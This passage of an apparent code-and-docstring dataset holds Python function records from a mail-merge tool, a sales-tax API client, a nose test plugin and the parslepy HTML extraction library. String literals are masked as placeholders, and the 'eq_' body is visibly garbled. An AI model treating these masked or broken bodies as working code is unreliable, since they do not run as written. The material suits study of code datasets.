jinja2.Template(content)<EOL><DEDENT>database = []<EOL>with io.open(database_filename, \"<STR_LIT:r>\") as database_file:<EOL><INDENT>reader = csv.DictReader(database_file)<EOL>for row in reader:<EOL><INDENT>database.append(row)<EOL><DEDENT><DEDENT>for i, row in enumerate(database):<EOL><INDENT>if not no_limit and i >= limit:<EOL><INDENT>break<EOL><DEDENT>raw_message = template.render(**row)<EOL>(message, sender, recipients) = parsemail(raw_message)<EOL>if message['<STR_LIT:Content-Type>'].startswith(\"<STR_LIT>\"):<EOL><INDENT>message = convert_markdown(message)<EOL><DEDENT>print(\"<STR_LIT>\".format(i))<EOL>print(message.as_string())<EOL>(message, num_attachments) = addattachments(message,<EOL>template_filename)<EOL>if dry_run:<EOL><INDENT>print(\"<STR_LIT>\".format(i))<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>sendmail(message, sender, recipients, config_filename)<EOL><DEDENT>except smtplib.SMTPException as err:<EOL><INDENT>print(\"<STR_LIT>\".format(i))<EOL>timestamp = '<STR_LIT>'.format(<EOL>datetime.datetime.now()<EOL>)<EOL>print(timestamp, i, err, sep='<STR_LIT:U+0020>', file=sys.stderr)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\".format(i))<EOL><DEDENT><DEDENT><DEDENT>if num_attachments == <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>if not no_limit:<EOL><INDENT>print(\"<STR_LIT>\".format(limit) +<EOL>\"<STR_LIT>\")<EOL><DEDENT>if dry_run:<EOL><INDENT>print((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"))<EOL><DEDENT><DEDENT>except jinja2.exceptions.TemplateError as err:<EOL><INDENT>print(\"<STR_LIT>\".format(err))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>except csv.Error as err:<EOL><INDENT>print(\"<STR_LIT>\".format(err))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>except smtplib.SMTPAuthenticationError as err:<EOL><INDENT>print(\"<STR_LIT>\".format(err))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>except configparser.Error as err:<EOL><INDENT>print(\"<STR_LIT>\".format(<EOL>config_filename, err))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Python API for mailmerge.\n\n    mailmerge 0.1 by Andrew DeOrio <awdeorio@umich.edu>.\n\n    A simple, command line mail merge tool.\n\n    Render an email template for each line in a CSV database.", "id": "f9145:m7"}
{"signature": "def get_rate(self, zipcode, city=None, state=None, multiple_rates=False):", "body": "data = self.make_request_data(zipcode, city, state)<EOL>r = requests.get(self.url, params=data)<EOL>resp = r.json()<EOL>return self.process_response(resp, multiple_rates)<EOL>", "docstring": "Finds sales tax for given info.\nReturns Decimal of the tax rate, e.g. 8.750.", "id": "f9151:c0:m1"}
{"signature": "def make_request_data(self, zipcode, city, state):", "body": "data = {'<STR_LIT:key>': self.api_key,<EOL>'<STR_LIT>': str(zipcode),<EOL>'<STR_LIT>': city,<EOL>'<STR_LIT:state>': state<EOL>}<EOL>data = ZipTaxClient._clean_request_data(data)<EOL>return data<EOL>", "docstring": "Make the request params given location data", "id": "f9151:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def _clean_request_data(data):<DEDENT>", "body": "<EOL>data['<STR_LIT>'] = data['<STR_LIT>'][:<NUM_LIT:5>]<EOL>if not data['<STR_LIT>']:<EOL><INDENT>del data['<STR_LIT>']<EOL><DEDENT>if not data['<STR_LIT:state>']:<EOL><INDENT>del data['<STR_LIT:state>']<EOL><DEDENT>return data<EOL>", "docstring": "Remove empty values, and clean data", "id": "f9151:c0:m3"}
{"signature": "def process_response(self, resp, multiple_rates):", "body": "self._check_for_exceptions(resp, multiple_rates)<EOL>rates = {}<EOL>for result in resp['<STR_LIT>']:<EOL><INDENT>rate = ZipTaxClient._cast_tax_rate(result['<STR_LIT>'])<EOL>rates[result['<STR_LIT>']] = rate<EOL><DEDENT>if not multiple_rates:<EOL><INDENT>return rates[list(rates.keys())[<NUM_LIT:0>]]<EOL><DEDENT>return rates<EOL>", "docstring": "Get the tax rate from the ZipTax response", "id": "f9151:c0:m4"}
{"signature": "def _check_for_exceptions(self, resp, multiple_rates):", "body": "if resp['<STR_LIT>'] != <NUM_LIT:100>:<EOL><INDENT>raise exceptions.get_exception_for_code(resp['<STR_LIT>'])(resp)<EOL><DEDENT>results = resp['<STR_LIT>']<EOL>if len(results) == <NUM_LIT:0>:<EOL><INDENT>raise exceptions.ZipTaxNoResults('<STR_LIT>')<EOL><DEDENT>if len(results) > <NUM_LIT:1> and not multiple_rates:<EOL><INDENT>rates = [result['<STR_LIT>'] for result in results]<EOL>if len(set(rates)) != <NUM_LIT:1>:<EOL><INDENT>raise exceptions.ZipTaxMultipleResults('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Check if there are exceptions that should be raised", "id": "f9151:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def _cast_tax_rate(raw_rate):<DEDENT>", "body": "return (Decimal(raw_rate) * <NUM_LIT:100>).quantize(Decimal('<STR_LIT>'))<EOL>", "docstring": "Converts the tax rate from ZipTax into a decimal", "id": "f9151:c0:m6"}
{"signature": "def registerGoodClass(self, class_):", "body": "<EOL>self._valid_classes.append(class_)<EOL>for name, cls in class_members(class_):<EOL><INDENT>if self.isValidClass(cls):<EOL><INDENT>self.registerGoodClass(cls)<EOL><DEDENT><DEDENT>", "docstring": "Internal bookkeeping to handle nested classes", "id": "f9163:c0:m5"}
{"signature": "def isValidClass(self, class_):", "body": "module = inspect.getmodule(class_)<EOL>valid = (<EOL>module in self._valid_modules<EOL>or (<EOL>hasattr(module, '<STR_LIT>')<EOL>and module.__file__ in self._valid_named_modules<EOL>)<EOL>)<EOL>return valid and not private(class_)<EOL>", "docstring": "Needs to be its own method so it can be called from both wantClass and\nregisterGoodClass.", "id": "f9163:c0:m6"}
{"signature": "def loadTestsFromTestClass(self, cls):", "body": "results = []<EOL>for name, subclass in class_members(cls):<EOL><INDENT>results.extend(self.loader.loadTestsFromTestClass(subclass))<EOL><DEDENT>return results<EOL>", "docstring": "Manually examine test class for inner classes.", "id": "f9163:c1:m2"}
{"signature": "def trap(func):", "body": "@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>sys.stdall = CarbonCopy()<EOL>my_stdout, sys.stdout = sys.stdout, CarbonCopy(cc=sys.stdall)<EOL>my_stderr, sys.stderr = sys.stderr, CarbonCopy(cc=sys.stdall)<EOL>try:<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT>finally:<EOL><INDENT>sys.stdout = my_stdout<EOL>sys.stderr = my_stderr<EOL>del sys.stdall<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Replace sys.std(out|err) with a wrapper during execution, restored after.\n\nIn addition, a new combined-streams output (another wrapper) will appear at\n``sys.stdall``. This stream will resemble what a user sees at a terminal,\ni.e. both out/err streams intermingled.", "id": "f9164:m0"}
{"signature": "def __init__(self, buffer=b'<STR_LIT>', cc=None):", "body": "IO.__init__(self, buffer)<EOL>if cc is None:<EOL><INDENT>cc = []<EOL><DEDENT>elif hasattr(cc, '<STR_LIT>'):<EOL><INDENT>cc = [cc]<EOL><DEDENT>self.cc = cc<EOL>", "docstring": "If ``cc`` is given and is a file-like object or an iterable of same,\nit/they will be written to whenever this instance is written to.", "id": "f9164:c0:m0"}
{"signature": "def eq_(result, expected, msg=None):", "body": "params = {'<STR_LIT>': expected, '<STR_LIT:result>': result}<EOL>aka = \"\"\"<STR_LIT>\"\"\"<EOL>cted:<EOL>pected)s<EOL>sult)s<EOL>% params<EOL>if (<EOL>(repr(result) != six.text_type(result)) or<EOL>(repr(expected) != six.text_type(expected))<EOL>):<EOL>default_msg += aka<EOL>assertion_msg = msg or default_msg<EOL>if isinstance(assertion_msg, six.text_type):<EOL>assertion_msg = assertion_msg.encode('<STR_LIT:utf-8>')<EOL>assert result == expected, assertion_msg<EOL>", "docstring": "Shadow of the Nose builtin which presents easier to read multiline output.", "id": "f9166:m1"}
{"signature": "def _assert_contains(haystack, needle, invert, escape=False):", "body": "myneedle = re.escape(needle) if escape else needle<EOL>matched = re.search(myneedle, haystack, re.M)<EOL>if (invert and matched) or (not invert and not matched):<EOL><INDENT>raise AssertionError(\"<STR_LIT>\" % (<EOL>needle,<EOL>\"<STR_LIT>\" if invert else \"<STR_LIT>\",<EOL>haystack<EOL>))<EOL><DEDENT>", "docstring": "Test for existence of ``needle`` regex within ``haystack``.\n\nSay ``escape`` to escape the ``needle`` if you aren't really using the\nregex feature & have special characters in it.", "id": "f9166:m3"}
{"signature": "def hide(obj):", "body": "obj._spec__is_private = True<EOL>return obj<EOL>", "docstring": "Mark object as private.", "id": "f9167:m0"}
{"signature": "def flag_inner_classes(obj):", "body": "for tup in class_members(obj):<EOL><INDENT>tup[<NUM_LIT:1>]._parent = obj<EOL>tup[<NUM_LIT:1>]._parent_inst = None<EOL>tup[<NUM_LIT:1>].__getattr__ = my_getattr<EOL>flag_inner_classes(tup[<NUM_LIT:1>])<EOL><DEDENT>", "docstring": "Mutates any attributes on ``obj`` which are classes, with link to ``obj``.\n\nAdds a convenience accessor which instantiates ``obj`` and then calls its\n``setup`` method.\n\nRecurses on those objects as well.", "id": "f9167:m4"}
{"signature": "def autohide(obj):", "body": "<EOL>for name, item in six.iteritems(vars(obj)):<EOL><INDENT>if callable(item) and name in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>item = hide(item)<EOL><DEDENT><DEDENT>for name, subclass in class_members(obj):<EOL><INDENT>autohide(subclass)<EOL><DEDENT>", "docstring": "Automatically hide setup() and teardown() methods, recursively.", "id": "f9167:m5"}
{"signature": "def remove_leading(needle, haystack):", "body": "if haystack[:len(needle)] == needle:<EOL><INDENT>return haystack[len(needle):]<EOL><DEDENT>return haystack<EOL>", "docstring": "Remove leading needle string (if exists).\n\n    >>> remove_leading('Test', 'TestThisAndThat')\n    'ThisAndThat'\n    >>> remove_leading('Test', 'ArbitraryName')\n    'ArbitraryName'", "id": "f9168:m1"}
{"signature": "def remove_trailing(needle, haystack):", "body": "if haystack[-len(needle):] == needle:<EOL><INDENT>return haystack[:-len(needle)]<EOL><DEDENT>return haystack<EOL>", "docstring": "Remove trailing needle string (if exists).\n\n    >>> remove_trailing('Test', 'ThisAndThatTest')\n    'ThisAndThat'\n    >>> remove_trailing('Test', 'ArbitraryName')\n    'ArbitraryName'", "id": "f9168:m2"}
{"signature": "def camel2word(string):", "body": "def wordize(match):<EOL><INDENT>return '<STR_LIT:U+0020>' + match.group(<NUM_LIT:1>).lower()<EOL><DEDENT>return string[<NUM_LIT:0>] + re.sub(r'<STR_LIT>', wordize, string[<NUM_LIT:1>:])<EOL>", "docstring": "Covert name from CamelCase to \"Normal case\".\n\n    >>> camel2word('CamelCase')\n    'Camel case'\n    >>> camel2word('CaseWithSpec')\n    'Case with spec'", "id": "f9168:m4"}
{"signature": "def complete_english(string):", "body": "for x, y in [(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>(\"<STR_LIT>\", \"<STR_LIT>\")]:<EOL><INDENT>string = string.replace(x, y)<EOL><DEDENT>return string<EOL>", "docstring": ">>> complete_english('dont do this')\n\"don't do this\"\n>>> complete_english('doesnt is matched as well')\n\"doesn't is matched as well\"", "id": "f9168:m5"}
{"signature": "def format_seconds(self, n_seconds):", "body": "func = self.ok<EOL>if n_seconds >= <NUM_LIT>:<EOL><INDENT>n_minutes, n_seconds = divmod(n_seconds, <NUM_LIT>)<EOL>return \"<STR_LIT>\" % (<EOL>func(\"<STR_LIT>\" % n_minutes),<EOL>func(\"<STR_LIT>\" % n_seconds))<EOL><DEDENT>else:<EOL><INDENT>return \"<STR_LIT>\" % (<EOL>func(\"<STR_LIT>\" % n_seconds))<EOL><DEDENT>", "docstring": "Format a time in seconds.", "id": "f9168:c2:m14"}
{"signature": "def __init__(self, key, operator=None, required=True, scope=None, iterate=False):", "body": "self.key = key<EOL>self.operator = operator<EOL>self.required = required<EOL>self.scope = scope<EOL>self.iterate = iterate<EOL>", "docstring": "Only `key` is required\n\nArguments:\noperator (str)     -- \"?\" optional,  \"!\" for complete arrays; defaults to None (i.e. required)\nrequired (boolean) -- whether the key is required in the output (defaults to True)\nscope (`Selector`) -- restrict extraction to elements matching this selector\niterate (boolean)  -- whether multiple objects will be extracted (defaults to False)", "id": "f9180:c1:m0"}
{"signature": "def __init__(self, parselet, selector_handler=None, strict=False, debug=False):", "body": "if debug:<EOL><INDENT>self.DEBUG = True<EOL><DEDENT>if strict:<EOL><INDENT>self.STRICT_MODE = True<EOL><DEDENT>self.parselet =  parselet<EOL>if not selector_handler:<EOL><INDENT>self.selector_handler = DefaultSelectorHandler(debug=self.DEBUG)<EOL><DEDENT>elif not(isinstance(selector_handler, SelectorHandler)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self.selector_handler = selector_handler<EOL><DEDENT>self.compile()<EOL>", "docstring": "Take a parselet and optional selector_handler\nand build an abstract representation of the Parsley extraction\nlogic.\n\nFour helper class methods can be used to instantiate a Parselet\nfrom JSON/YAML rules: :meth:`.from_jsonstring`, :meth:`.from_jsonfile`,\n:meth:`.from_yamlstring`, :meth:`.from_yamlfile`.\n\n:param dict parselet: Parsley script as a Python dict object\n:param boolean strict: Set to *True* is you want to\n    enforce that missing required keys raise an Exception; default is False\n    (i.e. lenient/non-strict mode)\n:param selector_handler: an instance of :class:`selectors.SelectorHandler`\n    optional selector handler instance;\n    defaults to an instance of :class:`selectors.DefaultSelectorHandler`\n:raises: :class:`.InvalidKeySyntax`\n\nExample:\n\n>>> import parslepy\n>>> rules = {\n...     \"heading\": \"h1#main\",\n...     \"news(li.newsitem)\": [{\n...         \"title\": \".\",\n...         \"url\": \"a/@href\"\n...     }],\n... }\n>>> p = parslepy.Parselet(rules)\n>>> type(p)\n<class 'parslepy.base.Parselet'>\n\nUse :meth:`~base.Parselet.extract` or :meth:`~base.Parselet.parse`\nto get extracted content from documents.", "id": "f9180:c4:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_jsonfile(cls, fp, selector_handler=None, strict=False, debug=False):<DEDENT>", "body": "return cls._from_jsonlines(fp,<EOL>selector_handler=selector_handler, strict=strict, debug=debug)<EOL>", "docstring": "Create a Parselet instance from a file containing\nthe Parsley script as a JSON object\n\n>>> import parslepy\n>>> with open('parselet.json') as fp:\n...     parslepy.Parselet.from_jsonfile(fp)\n...\n<parslepy.base.Parselet object at 0x2014e50>\n\n:param file fp: an open file-like pointer containing the Parsley script\n:rtype: :class:`.Parselet`\n\nOther arguments: same as for :class:`.Parselet` contructor", "id": "f9180:c4:m1"}
{"signature": "@classmethod<EOL><INDENT>def from_yamlfile(cls, fp, selector_handler=None, strict=False, debug=False):<DEDENT>", "body": "return cls.from_yamlstring(fp.read(), selector_handler=selector_handler, strict=strict, debug=debug)<EOL>", "docstring": "Create a Parselet instance from a file containing\nthe Parsley script as a YAML object\n\n>>> import parslepy\n>>> with open('parselet.yml') as fp:\n...     parslepy.Parselet.from_yamlfile(fp)\n...\n<parslepy.base.Parselet object at 0x2014e50>\n\n:param file fp: an open file-like pointer containing the Parsley script\n:rtype: :class:`.Parselet`\n\nOther arguments: same as for :class:`.Parselet` contructor", "id": "f9180:c4:m2"}
{"signature": "@classmethod<EOL><INDENT>def from_yamlstring(cls, s, selector_handler=None, strict=False, debug=False):<DEDENT>", "body": "import yaml<EOL>return cls(yaml.load(s), selector_handler=selector_handler, strict=strict, debug=debug)<EOL>", "docstring": "Create a Parselet instance from s (str) containing\nthe Parsley script as YAML\n\n>>> import parslepy\n>>> parsley_string = '''---\n    title: h1\n    link: a @href\n'''\n>>> p = parslepy.Parselet.from_yamlstring(parsley_string)\n>>> type(p)\n<class 'parslepy.base.Parselet'>\n>>>\n\n:param string s: a Parsley script as a YAML string\n:rtype: :class:`.Parselet`\n\nOther arguments: same as for :class:`.Parselet` contructor", "id": "f9180:c4:m3"}
{"signature": "@classmethod<EOL><INDENT>def from_jsonstring(cls, s, selector_handler=None, strict=False, debug=False):<DEDENT>", "body": "return cls._from_jsonlines(s.split(\"<STR_LIT:\\n>\"),<EOL>selector_handler=selector_handler, strict=strict, debug=debug)<EOL>", "docstring": "Create a Parselet instance from s (str) containing\nthe Parsley script as JSON\n\n>>> import parslepy\n>>> parsley_string = '{ \"title\": \"h1\", \"link\": \"a @href\"}'\n>>> p = parslepy.Parselet.from_jsonstring(parsley_string)\n>>> type(p)\n<class 'parslepy.base.Parselet'>\n>>>\n\n:param string s: a Parsley script as a JSON string\n:rtype: :class:`.Parselet`\n\nOther arguments: same as for :class:`.Parselet` contructor", "id": "f9180:c4:m4"}
{"signature": "@classmethod<EOL><INDENT>def _from_jsonlines(cls, lines, selector_handler=None, strict=False, debug=False):<DEDENT>", "body": "return cls(json.loads(<EOL>\"<STR_LIT:\\n>\".join([l for l in lines if not cls.REGEX_COMMENT_LINE.match(l)])<EOL>), selector_handler=selector_handler, strict=strict, debug=debug)<EOL>", "docstring": "Interpret input lines as a JSON Parsley script.\nPython-style comment lines are skipped.", "id": "f9180:c4:m5"}
{"signature": "def parse(self, fp, parser=None, context=None):", "body": "if parser is None:<EOL><INDENT>parser = lxml.etree.HTMLParser()<EOL><DEDENT>doc = lxml.etree.parse(fp, parser=parser).getroot()<EOL>return self.extract(doc, context=context)<EOL>", "docstring": "Parse an HTML or XML document and\nreturn the extacted object following the Parsley rules give at instantiation.\n\n:param fp: file-like object containing an HTML or XML document, or URL or filename\n:param parser: *lxml.etree._FeedParser* instance (optional); defaults to lxml.etree.HTMLParser()\n:param context: user-supplied context that will be passed to custom XPath extensions (as first argument)\n:rtype: Python :class:`dict` object with mapped extracted content\n:raises: :class:`.NonMatchingNonOptionalKey`\n\nTo parse from a string, use the :meth:`~base.Parselet.parse_fromstring` method instead.\n\nNote that the fp paramater is passed directly\nto `lxml.etree.parse <http://lxml.de/api/lxml.etree-module.html#parse>`_,\nso you can also give it an URL, and lxml will download it for you.\n(Also see `<http://lxml.de/tutorial.html#the-parse-function>`_.)", "id": "f9180:c4:m6"}
{"signature": "def parse_fromstring(self, s, parser=None, context=None):", "body": "if parser is None:<EOL><INDENT>parser = lxml.etree.HTMLParser()<EOL><DEDENT>doc = lxml.etree.fromstring(s, parser=parser)<EOL>return self.extract(doc, context=context)<EOL>", "docstring": "Parse an HTML or XML document and\nreturn the extacted object following the Parsley rules give at instantiation.\n\n:param string s: an HTML or XML document as a string\n:param parser: *lxml.etree._FeedParser* instance (optional); defaults to lxml.etree.HTMLParser()\n:param context: user-supplied context that will be passed to custom XPath extensions (as first argument)\n:rtype: Python :class:`dict` object with mapped extracted content\n:raises: :class:`.NonMatchingNonOptionalKey`", "id": "f9180:c4:m7"}
{"signature": "def compile(self):", "body": "if not isinstance(self.parselet, dict):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"\"<STR_LIT>\")<EOL><DEDENT>self.parselet_tree = self._compile(self.parselet)<EOL>", "docstring": "Build the abstract Parsley tree starting from the root node\n(recursive)", "id": "f9180:c4:m8"}
{"signature": "def _compile(self, parselet_node, level=<NUM_LIT:0>):", "body": "if self.DEBUG:<EOL><INDENT>debug_offset = \"<STR_LIT>\".join([\"<STR_LIT:U+0020>\" for x in range(level)])<EOL><DEDENT>if self.DEBUG:<EOL><INDENT>print(debug_offset, \"<STR_LIT>\" % (<EOL>self.__class__.__name__, parselet_node))<EOL><DEDENT>if isinstance(parselet_node, dict):<EOL><INDENT>parselet_tree = ParsleyNode()<EOL>for k, v in list(parselet_node.items()):<EOL><INDENT>try:<EOL><INDENT>m = self.REGEX_PARSELET_KEY.match(k)<EOL>if not m:<EOL><INDENT>if self.DEBUG:<EOL><INDENT>print(debug_offset, \"<STR_LIT>\", k)<EOL><DEDENT>raise InvalidKeySyntax(k)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>raise InvalidKeySyntax(\"<STR_LIT>\" % k)<EOL><DEDENT>key = m.group('<STR_LIT:key>')<EOL>key_required = True<EOL>operator = m.group('<STR_LIT>')<EOL>if operator == '<STR_LIT:?>':<EOL><INDENT>key_required = False<EOL><DEDENT>scope = m.group('<STR_LIT>')<EOL>if isinstance(v, (list, tuple)):<EOL><INDENT>v = v[<NUM_LIT:0>]<EOL>iterate = True<EOL><DEDENT>else:<EOL><INDENT>iterate = False<EOL><DEDENT>try:<EOL><INDENT>parsley_context = ParsleyContext(<EOL>key,<EOL>operator=operator,<EOL>required=key_required,<EOL>scope=self.selector_handler.make(scope) if scope else None,<EOL>iterate=iterate)<EOL><DEDENT>except SyntaxError:<EOL><INDENT>if self.DEBUG:<EOL><INDENT>print(\"<STR_LIT>\", k, scope)<EOL><DEDENT>raise<EOL><DEDENT>if self.DEBUG:<EOL><INDENT>print(debug_offset, \"<STR_LIT>\", parsley_context)<EOL><DEDENT>try:<EOL><INDENT>child_tree = self._compile(v, level=level+<NUM_LIT:1>)<EOL><DEDENT>except SyntaxError:<EOL><INDENT>if self.DEBUG:<EOL><INDENT>print(\"<STR_LIT>\", v)<EOL><DEDENT>raise<EOL><DEDENT>except:<EOL><INDENT>raise<EOL><DEDENT>if self.DEBUG:<EOL><INDENT>print(debug_offset, \"<STR_LIT>\", child_tree)<EOL><DEDENT>parselet_tree[parsley_context] = child_tree<EOL><DEDENT>return parselet_tree<EOL><DEDENT>elif isstr(parselet_node):<EOL><INDENT>return self.selector_handler.make(parselet_node)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % (<EOL>type(parselet_node), parselet_node))<EOL><DEDENT>", "docstring": "Build part of the abstract Parsley extraction tree\n\nArguments:\nparselet_node (dict) -- part of the Parsley tree to compile\n                        (can be the root dict/node)\nlevel (int)          -- current recursion depth (used for debug)", "id": "f9180:c4:m9"}
{"signature": "def extract(self, document, context=None):", "body": "if context:<EOL><INDENT>self.selector_handler.context = context<EOL><DEDENT>return self._extract(self.parselet_tree, document)<EOL>", "docstring": "Extract values as a dict object following the structure\nof the Parsley script (recursive)\n\n:param document: lxml-parsed document\n:param context: user-supplied context that will be passed to custom XPath extensions (as first argument)\n:rtype: Python *dict* object with mapped extracted content\n:raises: :class:`.NonMatchingNonOptionalKey`\n\n>>> import lxml.etree\n>>> import parslepy\n>>> html = '''\n... <!DOCTYPE html>\n... <html>\n... <head>\n...     <title>Sample document to test parslepy</title>\n...     <meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\" />\n... </head>\n... <body>\n... <h1 id=\"main\">What&rsquo;s new</h1>\n... <ul>\n...     <li class=\"newsitem\"><a href=\"/article-001.html\">This is the first article</a></li>\n...     <li class=\"newsitem\"><a href=\"/article-002.html\">A second report on something</a></li>\n...     <li class=\"newsitem\"><a href=\"/article-003.html\">Python is great!</a> <span class=\"fresh\">New!</span></li>\n... </ul>\n... </body>\n... </html>\n... '''\n>>> html_parser = lxml.etree.HTMLParser()\n>>> doc = lxml.etree.fromstring(html, parser=html_parser)\n>>> doc\n<Element html at 0x7f5fb1fce9b0>\n>>> rules = {\n...     \"headingcss\": \"#main\",\n...     \"headingxpath\": \"//h1[@id='main']\"\n... }\n>>> p = parslepy.Parselet(rules)\n>>> p.extract(doc)\n{'headingcss': u'What\\u2019s new', 'headingxpath': u'What\\u2019s new'}", "id": "f9180:c4:m10"}
{"signature": "def _extract(self, parselet_node, document, level=<NUM_LIT:0>):", "body": "if self.DEBUG:<EOL><INDENT>debug_offset = \"<STR_LIT>\".join([\"<STR_LIT:U+0020>\" for x in range(level)])<EOL><DEDENT>if isinstance(parselet_node, ParsleyNode):<EOL><INDENT>output = {}<EOL>for ctx, v in list(parselet_node.items()):<EOL><INDENT>if self.DEBUG:<EOL><INDENT>print(debug_offset, \"<STR_LIT>\", ctx, v)<EOL><DEDENT>extracted=None<EOL>try:<EOL><INDENT>if ctx.scope:<EOL><INDENT>extracted = []<EOL>selected = self.selector_handler.select(document, ctx.scope)<EOL>if selected:<EOL><INDENT>for i, elem in enumerate(selected, start=<NUM_LIT:1>):<EOL><INDENT>parse_result = self._extract(v, elem, level=level+<NUM_LIT:1>)<EOL>if isinstance(parse_result, (list, tuple)):<EOL><INDENT>extracted.extend(parse_result)<EOL><DEDENT>else:<EOL><INDENT>extracted.append(parse_result)<EOL><DEDENT>if not ctx.iterate:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if self.DEBUG:<EOL><INDENT>print(debug_offset,<EOL>\"<STR_LIT>\" % (i, ctx.scope))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>extracted = self._extract(v, document, level=level+<NUM_LIT:1>)<EOL><DEDENT><DEDENT>except NonMatchingNonOptionalKey as e:<EOL><INDENT>if self.DEBUG:<EOL><INDENT>print(debug_offset, str(e))<EOL><DEDENT>if not ctx.required or not self.STRICT_MODE:<EOL><INDENT>output[ctx.key] = {}<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>if self.DEBUG:<EOL><INDENT>print(str(e))<EOL><DEDENT>raise<EOL><DEDENT>if (    isinstance(extracted, list)<EOL>and not extracted<EOL>and not ctx.iterate):<EOL><INDENT>extracted = {}<EOL><DEDENT>if self.KEEP_ONLY_FIRST_ELEMENT_IF_LIST:<EOL><INDENT>try:<EOL><INDENT>if (    isinstance(extracted, list)<EOL>and extracted<EOL>and not ctx.iterate):<EOL><INDENT>if self.DEBUG:<EOL><INDENT>print(debug_offset, \"<STR_LIT>\")<EOL><DEDENT>extracted =  extracted[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>if self.DEBUG:<EOL><INDENT>print(str(e))<EOL>print(debug_offset, \"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>if (    self.STRICT_MODE<EOL>and ctx.required<EOL>and extracted is None):<EOL><INDENT>raise NonMatchingNonOptionalKey(<EOL>'<STR_LIT>' % (<EOL>ctx.key,<EOL>document.getroottree().getpath(document),v<EOL>)<EOL>)<EOL><DEDENT>if ctx.key == self.SPECIAL_LEVEL_KEY:<EOL><INDENT>if isinstance(extracted, dict):<EOL><INDENT>output.update(extracted)<EOL><DEDENT>elif isinstance(extracted, list):<EOL><INDENT>if extracted:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if extracted is not None:<EOL><INDENT>output[ctx.key] = extracted<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return output<EOL><DEDENT>elif isinstance(parselet_node, Selector):<EOL><INDENT>return self.selector_handler.extract(document, parselet_node)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Extract values at this document node level\nusing the parselet_node instructions:\n- go deeper in tree\n- or call selector handler in case of a terminal selector leaf", "id": "f9180:c4:m11"}
{"signature": "def keys(self):", "body": "return self._keys(self.parselet_tree)<EOL>", "docstring": "Return a list of 1st level keys of the output data model\n\n>>> import parslepy\n>>> rules = {\n...     \"headingcss\": \"#main\",\n...     \"headingxpath\": \"//h1[@id='main']\"\n... }\n>>> p = parslepy.Parselet(rules)\n>>> sorted(p.keys())\n['headingcss', 'headingxpath']", "id": "f9180:c4:m12"}
{"signature": "def make(self, selection_string):", "body": "raise NotImplementedError<EOL>", "docstring": "Interpret a selection_string as a selector\nfor elements or element attributes in a (semi-)structured document.\nIn case of XPath selectors, this can also be a function call.\n\n:param selection_string: a string representing a selector\n:rtype: :class:`.Selector`", "id": "f9183:c1:m1"}
{"signature": "def select(self, document, selector):", "body": "raise NotImplementedError<EOL>", "docstring": "Apply the selector on the document\n\n:param document: lxml-parsed document\n:param selector: input :class:`.Selector` to apply on the document\n:rtype: lxml.etree.Element list", "id": "f9183:c1:m2"}
{"signature": "def extract(self, document, selector):", "body": "raise NotImplementedError<EOL>", "docstring": "Apply the selector on the document\nand return a value for the matching elements (text content or\nelement attributes)\n\n:param document: lxml-parsed document\n:param selector: input :class:`.Selector`  to apply on the document\n:rtype: depends on the selector (string, boolean value, ...)\n\nReturn value can be single- or multi-valued.", "id": "f9183:c1:m3"}
{"signature": "def __init__(self, namespaces=None, extensions=None, context=None, debug=False):", "body": "super(XPathSelectorHandler, self).__init__(debug=debug)<EOL>self.namespaces = copy.copy(self.EXSLT_NAMESPACES)<EOL>self._add_parsley_ns(self.namespaces)<EOL>self.extensions = copy.copy(self.LOCAL_XPATH_EXTENSIONS)<EOL>self._user_extensions = None<EOL>self.context = context<EOL>if namespaces:<EOL><INDENT>self.namespaces.update(namespaces)<EOL><DEDENT>if extensions:<EOL><INDENT>self._user_extensions = extensions<EOL>self._process_extensions(extensions)<EOL><DEDENT>self._set_smart_strings_regexps()<EOL>", "docstring": ":param namespaces: namespace mapping as :class:`dict`\n:param extensions: extension :class:`dict`\n:param context: user-context passed to XPath extension functions\n\n`namespaces` and `extensions` dicts should have the same format\nas for `lxml`_:\nsee http://lxml.de/xpathxslt.html#namespaces-and-prefixes\nand `<http://lxml.de/extensions.html#xpath-extension-functions>`_\n\nExtension functions have a slightly different signature than\npure-lxml extension functions: they must expect a user-context\nas first argument; all other arguments are the same as for\n`lxml` extensions.\n\n`context` will be passed as first argument to extension functions\nregistered through `extensions`.\nAlternative: user-context can also be passed to :meth:`parslepy.base.Parselet.parse`", "id": "f9183:c2:m0"}
